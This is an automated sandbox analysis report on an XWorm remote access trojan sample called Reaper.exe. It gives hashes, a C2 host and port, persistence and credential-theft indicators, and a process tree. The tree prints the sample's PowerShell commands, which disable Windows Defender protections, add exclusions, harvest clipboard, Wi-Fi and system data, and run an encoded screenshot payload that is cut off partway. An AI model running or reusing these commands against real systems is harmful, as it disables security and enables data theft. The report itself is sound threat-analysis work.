xworm | d80f9618ef8369e54986f2abf564e5eeccf961d3ddaca515622412b1e4648d4c

Resubmissions

20/04/2024, 17:13

240420-vrrwwadh2z10

12/03/2024, 21:36

10/03/2024, 04:41

10/03/2024, 04:40

10/03/2024, 04:38

09/03/2024, 07:38

Analysis

max time kernel
143s
max time network
186s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
10/03/2024, 04:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Reaper/Reaper/Reaper.exe
Size 8.3MB
Sample240310-fan2bscc93
SHA256 0ca306be254d1b3aff02ae559e5649e9f0bb10367f692e132d7da39e6860448d
MD5 79d145e3962e71bf725d15b4c0261dac
SHA1 bc9d7a5a347fcefe3b3b81136e83af294bd489f4
SHA512 2fc3cd1b4542de7313ffea8fc16132df9c305c9ca847d4754e3a645c274933b4dd9682b4dd2585c62e5b8b2307e296fb64e32b758222123bb5c901a95ba0b6df
SSDEEP 196608:wfojS3EHCg1OgwII+XN6h5BOpEAyRHtt7fEiLrArrIx2j1:wojS3E1zg+XN05UpEAcHtt7MiorGg
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm persistence rat spyware stealer trojan upx

Malware Config

Extracted

Family

xworm

l838.ddns.net:3232

Attributes

Install_directory
%AppData%
install_file
Runtime Broker.exe

Signatures

Detect Xworm Payload 3 IoCs

resource	yara_rule
behavioral8/files/0x00080000000231ff-41.dat	family_xworm
behavioral8/memory/4952-97-0x0000000000880000-0x000000000089A000-memory.dmp	family_xworm
behavioral8/memory/1324-112-0x00000000053F0000-0x0000000005400000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	Windows Defender Smartscreen.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\Control Panel\International\Geo\Nation	Reaper.exe
Key value queried	\REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\Control Panel\International\Geo\Nation	Runtime broker.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Runtime Broker.lnk	Runtime broker.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Runtime Broker.lnk	Runtime broker.exe

Executes dropped EXE 6 IoCs

pid	Process
1324	Reaper.exe
652	Windows Defender Smartscreen.exe
4952	Runtime broker.exe
3480	Windows Defender Smartscreen.exe
3864	rar.exe
5100	Runtime Broker.exe

Loads dropped DLL 20 IoCs

pid	Process
3480	Windows Defender Smartscreen.exe
1324	Reaper.exe
1324	Reaper.exe
3480	Windows Defender Smartscreen.exe
3480	Windows Defender Smartscreen.exe
3480	Windows Defender Smartscreen.exe
3480	Windows Defender Smartscreen.exe
3480	Windows Defender Smartscreen.exe
3480	Windows Defender Smartscreen.exe
3480	Windows Defender Smartscreen.exe
3480	Windows Defender Smartscreen.exe
3480	Windows Defender Smartscreen.exe
3480	Windows Defender Smartscreen.exe
3480	Windows Defender Smartscreen.exe
3480	Windows Defender Smartscreen.exe
3480	Windows Defender Smartscreen.exe
3480	Windows Defender Smartscreen.exe
3480	Windows Defender Smartscreen.exe
3480	Windows Defender Smartscreen.exe
3480	Windows Defender Smartscreen.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 47 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral8/files/0x0007000000023291-109.dat	upx
behavioral8/memory/3480-132-0x00007FFC01EE0000-0x00007FFC024C9000-memory.dmp	upx
behavioral8/files/0x000700000002328f-136.dat	upx
behavioral8/memory/3480-138-0x00007FFC15FB0000-0x00007FFC15FD3000-memory.dmp	upx
behavioral8/memory/3480-141-0x00007FFC17070000-0x00007FFC1707F000-memory.dmp	upx
behavioral8/files/0x000700000002325f-135.dat	upx
behavioral8/files/0x0007000000023291-118.dat	upx
behavioral8/memory/3480-147-0x00007FFC01EE0000-0x00007FFC024C9000-memory.dmp	upx
behavioral8/files/0x0007000000023262-148.dat	upx
behavioral8/files/0x0007000000023265-152.dat	upx
behavioral8/files/0x0007000000023294-156.dat	upx
behavioral8/memory/3480-157-0x00007FFC15E40000-0x00007FFC15E6D000-memory.dmp	upx
behavioral8/files/0x000700000002325e-151.dat	upx
behavioral8/memory/3480-158-0x00007FFC15740000-0x00007FFC15759000-memory.dmp	upx
behavioral8/files/0x0007000000023264-160.dat	upx
behavioral8/memory/3480-163-0x00007FFC01BF0000-0x00007FFC01D67000-memory.dmp	upx
behavioral8/memory/4952-166-0x000000001B560000-0x000000001B570000-memory.dmp	upx
behavioral8/files/0x000700000002328e-168.dat	upx
behavioral8/memory/3480-171-0x00007FFC15720000-0x00007FFC15739000-memory.dmp	upx
behavioral8/memory/3480-173-0x00007FFC161E0000-0x00007FFC161ED000-memory.dmp	upx
behavioral8/memory/3480-175-0x00007FFC15570000-0x00007FFC1559E000-memory.dmp	upx
behavioral8/memory/3480-176-0x00007FFC01B30000-0x00007FFC01BE8000-memory.dmp	upx
behavioral8/memory/3480-177-0x00007FFC017B0000-0x00007FFC01B28000-memory.dmp	upx
behavioral8/files/0x0007000000023290-170.dat	upx
behavioral8/files/0x0007000000023266-167.dat	upx
behavioral8/files/0x0007000000023293-164.dat	upx
behavioral8/files/0x0007000000023261-179.dat	upx
behavioral8/memory/3480-159-0x00007FFC15620000-0x00007FFC15643000-memory.dmp	upx
behavioral8/memory/3480-184-0x00007FFC15600000-0x00007FFC15614000-memory.dmp	upx
behavioral8/files/0x0007000000023263-181.dat	upx
behavioral8/memory/3480-189-0x00007FFC161C0000-0x00007FFC161CD000-memory.dmp	upx
behavioral8/files/0x0007000000023296-192.dat	upx
behavioral8/memory/3480-215-0x00007FFC15FB0000-0x00007FFC15FD3000-memory.dmp	upx
behavioral8/memory/3480-214-0x00007FFC01EE0000-0x00007FFC024C9000-memory.dmp	upx
behavioral8/memory/3480-221-0x00007FFC15620000-0x00007FFC15643000-memory.dmp	upx
behavioral8/memory/3480-223-0x00007FFC15720000-0x00007FFC15739000-memory.dmp	upx
behavioral8/memory/3480-225-0x00007FFC15570000-0x00007FFC1559E000-memory.dmp	upx
behavioral8/memory/3480-227-0x00007FFC017B0000-0x00007FFC01B28000-memory.dmp	upx
behavioral8/memory/3480-226-0x00007FFC01B30000-0x00007FFC01BE8000-memory.dmp	upx
behavioral8/memory/3480-232-0x00007FFC015E0000-0x00007FFC016FC000-memory.dmp	upx
behavioral8/memory/3480-242-0x00007FFC01EE0000-0x00007FFC024C9000-memory.dmp	upx
behavioral8/memory/3480-248-0x00007FFC01EE0000-0x00007FFC024C9000-memory.dmp	upx
behavioral8/memory/3480-322-0x00007FFC01EE0000-0x00007FFC024C9000-memory.dmp	upx
behavioral8/memory/3480-323-0x00007FFC15FB0000-0x00007FFC15FD3000-memory.dmp	upx
behavioral8/memory/3480-328-0x00007FFC01BF0000-0x00007FFC01D67000-memory.dmp	upx
behavioral8/memory/3480-359-0x00007FFC01EE0000-0x00007FFC024C9000-memory.dmp	upx
behavioral8/memory/3480-435-0x00007FFC01EE0000-0x00007FFC024C9000-memory.dmp	upx

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-609813121-2907144057-1731107329-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Runtime Broker = "C:\\Users\\Admin\\AppData\\Roaming\\Runtime Broker.exe"	Runtime broker.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
81	discord.com
82	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
63	ip-api.com

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Runtime broker.exe	Reaper.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2144	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
5968	WMIC.exe

Enumerates processes with tasklist 1 TTPs 4 IoCs

Process Discovery

T1057

pid	Process
2360	tasklist.exe
968	tasklist.exe
5968	tasklist.exe
4992	tasklist.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

T1082

pid	Process
3960	systeminfo.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4952	Runtime broker.exe

Suspicious behavior: EnumeratesProcesses 44 IoCs

pid	Process
760	powershell.exe
1544	powershell.exe
1544	powershell.exe
3404	powershell.exe
3404	powershell.exe
760	powershell.exe
760	powershell.exe
3404	powershell.exe
3404	powershell.exe
1544	powershell.exe
1544	powershell.exe
2000	powershell.exe
2000	powershell.exe
4408	powershell.exe
4408	powershell.exe
5248	powershell.exe
5248	powershell.exe
2000	powershell.exe
4408	powershell.exe
5248	powershell.exe
2628	powershell.exe
2628	powershell.exe
2628	powershell.exe
3744	powershell.exe
3744	powershell.exe
3744	powershell.exe
3716	powershell.exe
3716	powershell.exe
3716	powershell.exe
1440	powershell.exe
1440	powershell.exe
1440	powershell.exe
4080	powershell.exe
4080	powershell.exe
4080	powershell.exe
4976	powershell.exe
4976	powershell.exe
4976	powershell.exe
2004	powershell.exe
2004	powershell.exe
2004	powershell.exe
5164	powershell.exe
5164	powershell.exe
5164	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4952	Runtime broker.exe
Token: SeDebugPrivilege	760	powershell.exe
Token: SeDebugPrivilege	1544	powershell.exe
Token: SeDebugPrivilege	3404	powershell.exe
Token: SeIncreaseQuotaPrivilege	4444	WMIC.exe
Token: SeSecurityPrivilege	4444	WMIC.exe
Token: SeTakeOwnershipPrivilege	4444	WMIC.exe
Token: SeLoadDriverPrivilege	4444	WMIC.exe
Token: SeSystemProfilePrivilege	4444	WMIC.exe
Token: SeSystemtimePrivilege	4444	WMIC.exe
Token: SeProfSingleProcessPrivilege	4444	WMIC.exe
Token: SeIncBasePriorityPrivilege	4444	WMIC.exe
Token: SeCreatePagefilePrivilege	4444	WMIC.exe
Token: SeBackupPrivilege	4444	WMIC.exe
Token: SeRestorePrivilege	4444	WMIC.exe
Token: SeShutdownPrivilege	4444	WMIC.exe
Token: SeDebugPrivilege	4444	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4444	WMIC.exe
Token: SeRemoteShutdownPrivilege	4444	WMIC.exe
Token: SeUndockPrivilege	4444	WMIC.exe
Token: SeManageVolumePrivilege	4444	WMIC.exe
Token: 33	4444	WMIC.exe
Token: 34	4444	WMIC.exe
Token: 35	4444	WMIC.exe
Token: 36	4444	WMIC.exe
Token: SeDebugPrivilege	968	tasklist.exe
Token: SeDebugPrivilege	2360	tasklist.exe
Token: SeDebugPrivilege	2000	powershell.exe
Token: SeDebugPrivilege	4992	tasklist.exe
Token: SeDebugPrivilege	4408	powershell.exe
Token: SeDebugPrivilege	5248	powershell.exe
Token: SeIncreaseQuotaPrivilege	4444	WMIC.exe
Token: SeSecurityPrivilege	4444	WMIC.exe
Token: SeTakeOwnershipPrivilege	4444	WMIC.exe
Token: SeLoadDriverPrivilege	4444	WMIC.exe
Token: SeSystemProfilePrivilege	4444	WMIC.exe
Token: SeSystemtimePrivilege	4444	WMIC.exe
Token: SeProfSingleProcessPrivilege	4444	WMIC.exe
Token: SeIncBasePriorityPrivilege	4444	WMIC.exe
Token: SeCreatePagefilePrivilege	4444	WMIC.exe
Token: SeBackupPrivilege	4444	WMIC.exe
Token: SeRestorePrivilege	4444	WMIC.exe
Token: SeShutdownPrivilege	4444	WMIC.exe
Token: SeDebugPrivilege	4444	WMIC.exe
Token: SeSystemEnvironmentPrivilege	4444	WMIC.exe
Token: SeRemoteShutdownPrivilege	4444	WMIC.exe
Token: SeUndockPrivilege	4444	WMIC.exe
Token: SeManageVolumePrivilege	4444	WMIC.exe
Token: 33	4444	WMIC.exe
Token: 34	4444	WMIC.exe
Token: 35	4444	WMIC.exe
Token: 36	4444	WMIC.exe
Token: SeDebugPrivilege	2628	powershell.exe
Token: SeDebugPrivilege	5968	tasklist.exe
Token: SeDebugPrivilege	3744	powershell.exe
Token: SeDebugPrivilege	3716	powershell.exe
Token: SeDebugPrivilege	1440	powershell.exe
Token: SeDebugPrivilege	4080	powershell.exe
Token: SeDebugPrivilege	4976	powershell.exe
Token: SeIncreaseQuotaPrivilege	3116	WMIC.exe
Token: SeSecurityPrivilege	3116	WMIC.exe
Token: SeTakeOwnershipPrivilege	3116	WMIC.exe
Token: SeLoadDriverPrivilege	3116	WMIC.exe
Token: SeSystemProfilePrivilege	3116	WMIC.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3780 wrote to memory of 760	3780	Reaper.exe	90
PID 3780 wrote to memory of 760	3780	Reaper.exe	90
PID 3780 wrote to memory of 760	3780	Reaper.exe	90
PID 3780 wrote to memory of 1324	3780	Reaper.exe	92
PID 3780 wrote to memory of 1324	3780	Reaper.exe	92
PID 3780 wrote to memory of 1324	3780	Reaper.exe	92
PID 3780 wrote to memory of 652	3780	Reaper.exe	93
PID 3780 wrote to memory of 652	3780	Reaper.exe	93
PID 3780 wrote to memory of 4952	3780	Reaper.exe	94
PID 3780 wrote to memory of 4952	3780	Reaper.exe	94
PID 652 wrote to memory of 3480	652	Windows Defender Smartscreen.exe	95
PID 652 wrote to memory of 3480	652	Windows Defender Smartscreen.exe	95
PID 3480 wrote to memory of 1132	3480	Windows Defender Smartscreen.exe	99
PID 3480 wrote to memory of 1132	3480	Windows Defender Smartscreen.exe	99
PID 3480 wrote to memory of 4364	3480	Windows Defender Smartscreen.exe	100
PID 3480 wrote to memory of 4364	3480	Windows Defender Smartscreen.exe	100
PID 3480 wrote to memory of 3864	3480	Windows Defender Smartscreen.exe	102
PID 3480 wrote to memory of 3864	3480	Windows Defender Smartscreen.exe	102
PID 4364 wrote to memory of 2000	4364	cmd.exe	105
PID 4364 wrote to memory of 2000	4364	cmd.exe	105
PID 1132 wrote to memory of 3404	1132	cmd.exe	106
PID 1132 wrote to memory of 3404	1132	cmd.exe	106
PID 3864 wrote to memory of 1544	3864	cmd.exe	107
PID 3864 wrote to memory of 1544	3864	cmd.exe	107
PID 3480 wrote to memory of 3720	3480	Windows Defender Smartscreen.exe	108
PID 3480 wrote to memory of 3720	3480	Windows Defender Smartscreen.exe	108
PID 3480 wrote to memory of 3444	3480	Windows Defender Smartscreen.exe	109
PID 3480 wrote to memory of 3444	3480	Windows Defender Smartscreen.exe	109
PID 3480 wrote to memory of 4596	3480	Windows Defender Smartscreen.exe	112
PID 3480 wrote to memory of 4596	3480	Windows Defender Smartscreen.exe	112
PID 3480 wrote to memory of 2680	3480	Windows Defender Smartscreen.exe	113
PID 3480 wrote to memory of 2680	3480	Windows Defender Smartscreen.exe	113
PID 3480 wrote to memory of 3448	3480	Windows Defender Smartscreen.exe	115
PID 3480 wrote to memory of 3448	3480	Windows Defender Smartscreen.exe	115
PID 3480 wrote to memory of 460	3480	Windows Defender Smartscreen.exe	117
PID 3480 wrote to memory of 460	3480	Windows Defender Smartscreen.exe	117
PID 3480 wrote to memory of 3948	3480	Windows Defender Smartscreen.exe	118
PID 3480 wrote to memory of 3948	3480	Windows Defender Smartscreen.exe	118
PID 3480 wrote to memory of 5104	3480	Windows Defender Smartscreen.exe	119
PID 3480 wrote to memory of 5104	3480	Windows Defender Smartscreen.exe	119
PID 3480 wrote to memory of 2692	3480	Windows Defender Smartscreen.exe	123
PID 3480 wrote to memory of 2692	3480	Windows Defender Smartscreen.exe	123
PID 3480 wrote to memory of 3264	3480	Windows Defender Smartscreen.exe	125
PID 3480 wrote to memory of 3264	3480	Windows Defender Smartscreen.exe	125
PID 460 wrote to memory of 4616	460	cmd.exe	127
PID 460 wrote to memory of 4616	460	cmd.exe	127
PID 3948 wrote to memory of 1384	3948	cmd.exe	130
PID 3948 wrote to memory of 1384	3948	cmd.exe	130
PID 3444 wrote to memory of 968	3444	cmd.exe	132
PID 3444 wrote to memory of 968	3444	cmd.exe	132
PID 2692 wrote to memory of 5084	2692	cmd.exe	133
PID 2692 wrote to memory of 5084	2692	cmd.exe	133
PID 5104 wrote to memory of 3960	5104	cmd.exe	134
PID 5104 wrote to memory of 3960	5104	cmd.exe	134
PID 4596 wrote to memory of 4444	4596	cmd.exe	135
PID 4596 wrote to memory of 4444	4596	cmd.exe	135
PID 2680 wrote to memory of 4408	2680	cmd.exe	136
PID 2680 wrote to memory of 4408	2680	cmd.exe	136
PID 3720 wrote to memory of 2360	3720	cmd.exe	137
PID 3720 wrote to memory of 2360	3720	cmd.exe	137
PID 3448 wrote to memory of 4992	3448	cmd.exe	138
PID 3448 wrote to memory of 4992	3448	cmd.exe	138
PID 3480 wrote to memory of 5144	3480	Windows Defender Smartscreen.exe	139
PID 3480 wrote to memory of 5144	3480	Windows Defender Smartscreen.exe	139

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
6100	attrib.exe
5912	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Reaper\Reaper\Reaper.exe
"C:\Users\Admin\AppData\Local\Temp\Reaper\Reaper\Reaper.exe"
1⤵
- Checks computer location settings
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:3780
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHUAZQB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGoAdwBrACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAG4AYwB1ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHMAbABqACMAPgA="
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:760
- C:\Users\Admin\AppData\Local\Temp\Reaper.exe
  "C:\Users\Admin\AppData\Local\Temp\Reaper.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1324
- C:\Users\Admin\AppData\Roaming\Windows Defender Smartscreen.exe
  "C:\Users\Admin\AppData\Roaming\Windows Defender Smartscreen.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:652
- - C:\Users\Admin\AppData\Roaming\Windows Defender Smartscreen.exe
    "C:\Users\Admin\AppData\Roaming\Windows Defender Smartscreen.exe"
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:3480
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Windows Defender Smartscreen.exe'"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1132
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Windows Defender Smartscreen.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3404
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4364
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2000
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3864
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1544
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3720
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:2360
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3444
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:968
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4596
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4444
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2680
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4408
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3448
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:4992
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tree /A /F"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:460
    - - C:\Windows\system32\tree.com
        
        tree /A /F
        5⤵
        
        PID:4616
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3948
    - - C:\Windows\system32\netsh.exe
        
        netsh wlan show profile
        5⤵
        
        PID:1384
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "systeminfo"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5104
    - - C:\Windows\system32\systeminfo.exe
        
        systeminfo
        5⤵
        Gathers system information
        
        PID:3960
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2692
    - - C:\Windows\system32\reg.exe
        
        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
        5⤵
        
        PID:5084
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8A